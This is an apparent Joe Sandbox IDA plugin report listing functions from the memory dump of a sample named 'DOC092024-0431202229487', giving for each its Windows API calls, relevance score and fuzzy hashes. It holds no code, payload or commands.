Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: $?}$>}
API String ID: 3277943733-957941094
Opcode ID: 682b2accdb1da8e5dcbaa81f097324ad20aefc927c58b383088a2a013e4b1cb4
Instruction ID: b7f2fd5648e7d46c508cfa520d904c671ee046d1892d51c8dc64b87f55ce32e1
Opcode Fuzzy Hash: 682b2accdb1da8e5dcbaa81f097324ad20aefc927c58b383088a2a013e4b1cb4
Instruction Fuzzy Hash: 22F054F1941308BEF2105765AC06FB77B7DDB09394F018422BA04E5192D7BE9E0047A9

Function 0072C697 Relevance: 9.3, APIs: 6, Instructions: 253COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0072C6C0
GetWindowRect.USER32(?,?), ref: 0072C701
ScreenToClient.USER32(?,?), ref: 0072C729
GetClientRect.USER32(?,?), ref: 0072C856
GetWindowRect.USER32(?,?), ref: 0072C86F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: af17463a9ddc4e45a0e45f43a551d381f380e5af99b5666d3a8dfd0d4f17ac06
Instruction ID: bfc46062e916ce5cb5fa6fa3bbcd2c187e6e5c215ee3149bec41ddc99fc422ff
Opcode Fuzzy Hash: af17463a9ddc4e45a0e45f43a551d381f380e5af99b5666d3a8dfd0d4f17ac06
Instruction Fuzzy Hash: 29B15A79900249DBDF11CFA8C9807EDB7B1FF18350F14912AED59EB255EB38AA40CB64

Function 00759569 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007596BC
_memmove.LIBCMT ref: 007595F7

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

_memmove.LIBCMT ref: 0075966A
_memmove.LIBCMT ref: 00759751
_memmove.LIBCMT ref: 0075976A
_memmove.LIBCMT ref: 00759786

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 8b8bd9b5be6ffa6ab735417ff86383e87c8f19c6858aa891cc26bb6e74eaaee2
Instruction ID: 218571e50e0ee772805fcdea263614af862484fff223d57fecdf5aadc5277c28
Opcode Fuzzy Hash: 8b8bd9b5be6ffa6ab735417ff86383e87c8f19c6858aa891cc26bb6e74eaaee2
Instruction Fuzzy Hash: 0A61AB3050025AEBDB11EF64CC8AEFE37A8AF49704F044455FD1A6B192EB789D49CB91

Function 00772EC7 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

Part of subcall function 00773AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00772AA6,?,?), ref: 00773B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00772FA0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00772FE0
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00773003
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0077302C
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0077306F
RegCloseKey.ADVAPI32(00000000), ref: 0077307C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 7a656affff6f2c64070cc3c61fae2b38c6c164f06c888943b6ae9234effe25e1
Instruction ID: 41d07f68c9496d492d36db20cc4bc04cd89ab3572fa5b938f0de85c57c4644b7
Opcode Fuzzy Hash: 7a656affff6f2c64070cc3c61fae2b38c6c164f06c888943b6ae9234effe25e1
Instruction Fuzzy Hash: 2A517A31108200EFCB14EF68C889EAAB7F9FF88354F04891DF555872A1DB79EA45CB52

Function 0072DB8C Relevance: 9.2, APIs: 6, Instructions: 160COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 0072DCC0
_wcscat.LIBCMT ref: 0072DCC7
_wcscpy.LIBCMT ref: 00783CCB

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcscpy$_wcscat
String ID:
API String ID: 2037614760-0
Opcode ID: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction ID: 01ee857f9022e84baf5f24b294de66f04a43365cc9033147b686839d3f5f31a4
Opcode Fuzzy Hash: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction Fuzzy Hash: 7251E470904135EECB31AF98E4559BDB3B5EF08710F90804AF541AB292DBBC5F82D7A0

Function 00752ADC Relevance: 9.2, APIs: 6, Instructions: 158COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00752AF6
VariantClear.OLEAUT32(00000013), ref: 00752B68
VariantClear.OLEAUT32(00000000), ref: 00752BC3
_memmove.LIBCMT ref: 00752BED
VariantClear.OLEAUT32(?), ref: 00752C3A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00752C68

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 460d8ceca87a47656e955c81685511b6da0ef0e45e4ac2967f7d4b1c5b992a6a
Instruction ID: c5e317bee3a9cdff74dfbff73abb4ed8aedf8ed87d6d4a6b6114635ad12f055e
Opcode Fuzzy Hash: 460d8ceca87a47656e955c81685511b6da0ef0e45e4ac2967f7d4b1c5b992a6a
Instruction Fuzzy Hash: 29517AB5A00209EFCB24CF58C884AAAB7B8FF4D314B158559ED49DB311E334E942CFA0

Function 007782DB Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 0077833D
GetMenuItemCount.USER32(00000000), ref: 00778374
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0077839C
GetMenuItemID.USER32(?,?), ref: 0077840B
GetSubMenu.USER32(?,?), ref: 00778419
PostMessageW.USER32(?,00000111,?,00000000), ref: 0077846A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 96a486020ae881799d7e757e2643e07ac26106f574dfc19d02cd8463d978787e
Instruction ID: fccae1fe3c208e53d5fc6a1eba485db32403d344b048ea0f8a64ef1412b7fcce
Opcode Fuzzy Hash: 96a486020ae881799d7e757e2643e07ac26106f574dfc19d02cd8463d978787e
Instruction Fuzzy Hash: 2751BF31A00215EFCF50EF68C849AEEB7B4EF48750F148459E819BB351CB78AE428B95

Function 0076936F Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 00769409
WSAGetLastError.WS2_32(00000000), ref: 00769416
__WSAFDIsSet.WS2_32(00000000,00000001), ref: 0076943A
_strlen.LIBCMT ref: 00769484
_memmove.LIBCMT ref: 007694CA
WSAGetLastError.WS2_32(00000000), ref: 007694F7

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorLast$_memmove_strlenselect
String ID:
API String ID: 2795762555-0
Opcode ID: 561e017763958231676b2d5d3c3e6a87e006064eb761730c74537abd9d814d8a
Instruction ID: 376bf98f6ce9464b00288bd4cc75a4298cd452c3b74f77d2ad12a40d7c1623da
Opcode Fuzzy Hash: 561e017763958231676b2d5d3c3e6a87e006064eb761730c74537abd9d814d8a
Instruction Fuzzy Hash: D2414275500104EBCB14EBA8C999AEEB7BDEF48310F108159FA16972D1DF38DE45CB60

Function 007554E0 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0075552E
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00755579
IsMenu.USER32(00000000), ref: 00755599
CreatePopupMenu.USER32 ref: 007555CD
GetMenuItemCount.USER32(000000FF), ref: 0075562B
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 0075565C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 240bdb7243f0da3a1b6ce7bfff2bed890cdffc12219e7c7c458e13b8c2c7e51e
Instruction ID: c202ae2ab13cfb7db514c5b1bffac206008e3a8e0db5ee0d423dd6bcee7cacc9
Opcode Fuzzy Hash: 240bdb7243f0da3a1b6ce7bfff2bed890cdffc12219e7c7c458e13b8c2c7e51e
Instruction Fuzzy Hash: 3251C170600A85DFDF20CF68C8A8BEDBBF5EF0571AF504119E8159B290E3F89949CB51

Function 0072B18C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

BeginPaint.USER32(?,?,?,?,?,?), ref: 0072B1C1
GetWindowRect.USER32(?,?), ref: 0072B225
ScreenToClient.USER32(?,?), ref: 0072B242
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0072B253
EndPaint.USER32(?,?), ref: 0072B29D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: f76f1747a8b5edef3b950390589840363f227aeee62f21155e8c9ff4e4aa1dd8
Instruction ID: 0701602e82afd9f3f7d851568c2e7a4c989ccf1bb1c8b53eec03c1409700b3bd
Opcode Fuzzy Hash: f76f1747a8b5edef3b950390589840363f227aeee62f21155e8c9ff4e4aa1dd8
Instruction Fuzzy Hash: 35418D71104310EFC721DF24EC88BAA7BF8FB4A360F14466AFA95872A1C7399C45DB65

Function 0077E1A7 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(007D1810,00000000,?,?,007D1810,007D1810,?,0078E2D6), ref: 0077E21B
EnableWindow.USER32(00000000,00000000), ref: 0077E23F
ShowWindow.USER32(007D1810,00000000,?,?,007D1810,007D1810,?,0078E2D6), ref: 0077E29F
ShowWindow.USER32(00000000,00000004,?,?,007D1810,007D1810,?,0078E2D6), ref: 0077E2B1
EnableWindow.USER32(00000000,00000001), ref: 0077E2D5
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0077E2F8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 34ceaf08a88794aacae3b9d6506f512d708f890dd53a244c28f9e21298a1a212
Instruction ID: 4f8d924b1807f4c53bb7104790b4fdcec4ee0b79925aa4a34b3397fa8a2c9289
Opcode Fuzzy Hash: 34ceaf08a88794aacae3b9d6506f512d708f890dd53a244c28f9e21298a1a212
Instruction Fuzzy Hash: F3415B31600940EFDF26CF18C499B947BA5BB0A344F1881F9EA5C8F2A3C739AC52CB51

Function 0077E9C8 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 0072B58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0072B5EB
Part of subcall function 0072B58B: SelectObject.GDI32(?,00000000), ref: 0072B5FA
Part of subcall function 0072B58B: BeginPath.GDI32(?), ref: 0072B611
Part of subcall function 0072B58B: SelectObject.GDI32(?,00000000), ref: 0072B63B

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0077E9F2
LineTo.GDI32(00000000,00000003,?), ref: 0077EA06
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0077EA14
LineTo.GDI32(00000000,00000000,?), ref: 0077EA24
EndPath.GDI32(00000000), ref: 0077EA34
StrokePath.GDI32(00000000), ref: 0077EA44

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 918e8a4d4b373aaa14af0c9cb6137ea4b6c1b0c6b12238eb43999061845d6f98
Instruction ID: 9acd3d6f591520e8a23f4efb5aa05db0cb4725ba5c730efafcb07178e488eee3
Opcode Fuzzy Hash: 918e8a4d4b373aaa14af0c9cb6137ea4b6c1b0c6b12238eb43999061845d6f98
Instruction Fuzzy Hash: 4C11097600014DBFDF129F94DC88EEA7FADEB08360F04C012FA094A160D7759D56DBA4

Function 0074EF91 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0074EFB6
GetDeviceCaps.GDI32(00000000,00000058), ref: 0074EFC7
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0074EFCE
ReleaseDC.USER32(00000000,00000000), ref: 0074EFD6
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0074EFED
MulDiv.KERNEL32(000009EC,?,?), ref: 0074EFFF

Part of subcall function 0074A83B: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,0074A79D,00000000,00000000,?,0074AB73), ref: 0074B2CA

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CapsDevice$ExceptionRaiseRelease
String ID:
API String ID: 603618608-0
Opcode ID: ee2f65b4208a175bb7a04f3e29aff0ac681a5807edd7f01ce01aa6f75e83f660
Instruction ID: 07a4c076989959d09babb674b9fbab9b8d6caec8e9ed145b5bdd7a47c4ab68a6
Opcode Fuzzy Hash: ee2f65b4208a175bb7a04f3e29aff0ac681a5807edd7f01ce01aa6f75e83f660
Instruction Fuzzy Hash: D7016775E40319BFEB109BA6DC49B5EBFB8EB48751F008066FE04AB290D6759D01CF61

Function 007387D7 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 007387D7

Part of subcall function 00731E5A: __initp_misc_winsig.LIBCMT ref: 00731E7E
Part of subcall function 00731E5A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00738BE1
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00738BF5
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00738C08
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00738C1B
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00738C2E
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00738C41
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00738C54
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00738C67
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00738C7A
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00738C8D
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00738CA0
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00738CB3
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00738CC6
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00738CD9
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00738CEC
Part of subcall function 00731E5A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00738CFF

__mtinitlocks.LIBCMT ref: 007387DC

Part of subcall function 00738AB3: InitializeCriticalSectionAndSpinCount.KERNEL32(007CAC68,00000FA0,?,?,007387E1,00736AFA,007C67D8,00000014), ref: 00738AD1

__mtterm.LIBCMT ref: 007387E5

Part of subcall function 0073884D: RtlDeleteCriticalSection.NTDLL(00000000), ref: 007389CF
Part of subcall function 0073884D: _free.LIBCMT ref: 007389D6
Part of subcall function 0073884D: RtlDeleteCriticalSection.NTDLL(007CAC68), ref: 007389F8

__calloc_crt.LIBCMT ref: 0073880A
GetCurrentThreadId.KERNEL32 ref: 00738833

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
String ID:
API String ID: 2942034483-0
Opcode ID: 60ecb3ef63c8823c00339b6249d940bce6b751cddee09d387b8c17d1ee37b81b
Instruction ID: 8f18d356e8741f137d1a64368a217d3d02f387296afb124f8ec2ac519f9a222a
Opcode Fuzzy Hash: 60ecb3ef63c8823c00339b6249d940bce6b751cddee09d387b8c17d1ee37b81b
Instruction Fuzzy Hash: CDF06D731297219EF2A57778BC0BA8A26C08F01774F654A2AF460D60D3FF7D8841415A

Function 0075A3D2 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
